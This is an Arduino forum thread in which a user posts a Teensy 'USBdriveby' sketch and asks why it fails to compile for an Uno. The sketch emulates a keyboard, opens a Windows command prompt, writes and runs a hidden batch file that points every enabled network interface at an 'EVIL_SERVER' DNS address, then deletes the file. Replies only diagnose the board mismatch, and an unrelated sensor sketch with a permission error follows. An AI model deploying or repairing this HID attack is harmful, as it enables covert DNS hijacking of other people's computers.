exit status 1 Error compiling for board Arduino/Genuino Uno

i am executing a code for USB hacking using Teensy microcontroller. this is my program bellow and it is giving me:

exit status 1
Error compiling for board Arduino/Genuino Uno

this error please help.

// USBdriveby Windows version by FFY00 (Filipe Laíns)
// Based on Samy Kamkar work
//
// GitHub - samyk/usbdriveby: USBdriveby exploits the trust of USB devices by emulating an HID keyboard and mouse, installing a cross-platform firewall-evading backdoor, and rerouting DNS within seconds of plugging it in.

// Simulates a HID keyboard and runa bash file to change the dns server
// Tested on Windows 7

// Evil DNS Server
#include <Keypad.h>
#include <Password.h>
#include <Deuligne.h>
#define EVIL_SERVER "8.8.8.8"
const unsigned int ledPin = 13;
const unsigned int delayTime = 1500;

void setup()
{
delay(1000);

// Setup LED
pinMode(ledPin, OUTPUT);
digitalWrite(ledPin, HIGH);
waitForDrivers();

// Do the shit...
pwn();

}

// Open an application on Windows via Run
void openapp(String app)
{
// Windows Key + R to open Run
key(KEY_R , MODIFIERKEY_RIGHT_GUI);
delay(delayTime);

// Type the App you want to open
Keyboard.print(app);
key(KEY_ENTER, 0);
Keyboard.send_now();
delay(delayTime);
}

void key(int KEY, int MODIFIER)
{
Keyboard.set_modifier(MODIFIER);
Keyboard.set_key1(KEY);
Keyboard.send_now();
delay(20);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(20);
}

void waitForDrivers()
{
while (!(keyboard_leds & 2))
{
key(KEY_CAPS_LOCK, 0);
}
if (keyboard_leds & 2)
{
key(KEY_CAPS_LOCK, 0);
}
}

void pwn()
{
openapp("cmd");
Keyboard.println("cd AppData/Local/Temp");
Keyboard.println("echo.>pwn.bat");
Keyboard.println("notepad pwn.bat");

delay(delayTime);
Keyboard.println("@ECHO OFF");
Keyboard.print("set DNS=");
Keyboard.println(EVIL_SERVER);
Keyboard.println("for /f "tokens=1,2,3*" %%i in ('netsh int show interface') do (");
Keyboard.println(" if %%i equ Enabled (");
Keyboard.println(" netsh int ipv4 set dns name="%%l" static %DNS1% primary validate=no");
Keyboard.println(" )");
Keyboard.println(")");
Keyboard.println("ipconfig /flushdns"); // Flush DNS is optional
key(KEY_F4, MODIFIERKEY_ALT);
delay(delayTime/5);
key(KEY_ENTER, 0);
delay(delayTime);

Keyboard.println("pwn.bat");
delay(delayTime);
Keyboard.println("del pwn.bat");

key(KEY_SPACE, MODIFIERKEY_ALT);
delay(delayTime/10);
key(KEY_C, 0);
}

void loop()
{
// Blink -> IT'S DONE
digitalWrite(ledPin, HIGH);
delay(80);
digitalWrite(ledPin, LOW);
delay(80);
}-

i am executing a code for USB hacking using Teensy microcontroller.

Teensy or Uno ?

exit status 1
Error compiling for board Arduino/Genuino Uno

this error please help.

Is that the whole error message or is there more ?

i am executing a code for USB hacking using Teensy microcontroller.

Error compiling for board Arduino/Genuino Uno

There's your problem right there. You told the compiler that you are using an UNO and the UNO does not support the Keyboard library.

#define trigPin 12
#define echoPin 8
int Buzzer=7;
void setup()
{
// put your setup code here, to run once:
Serial.begin(9600);
pinMode(trigPin,OUTPUT);
pinMode(echoPin,INPUT);
pinMode(Buzzer,OUTPUT);
}

void loop()
{
// put your main code here, to run repeatedly:
int duration,distance;
digitalWrite(trigPin,LOW);
delayMicroseconds(1000);
digitalWrite(trigPin,HIGH);
delayMicroseconds(1000);
digitalWrite(trigPin,LOW);
duration = pulseIn(echoPin,HIGH);
distance = (duration/2)/29.1;
if(distance>=80||distance<=0)
{
Serial.println("No Object Detected");
digitalWrite(Buzzer,LOW);
}
else{
Serial.println("Object Detected");
digitalWrite(Buzzer,HIGH);
}
delay(300);
}

I am facing problem during compilation of the above sketch, getting error message as following:
cc1.exe: fatal error: opening output file C:\Users\SOUBHI~1\AppData\Local\Temp\ccPE2tNq.s: Permission denied

compilation terminated.

exit status 1
Error compiling for board Arduino/Genuino Uno.

Please help me.

soubhik1974, you should open a thread of your own in the installation and troubleshooting section. Hijacking someone's thread is rude.

soubhik1974:
I am facing problem during compilation of the above sketch, getting error message as following:
cc1.exe: fatal error: opening output file C:\Users\SOUBHI~1\AppData\Local\Temp\ccPE2tNq.s: Permission denied

It looks like Windows OS is not letting the compiler create an output file. I don't know how you can fix that.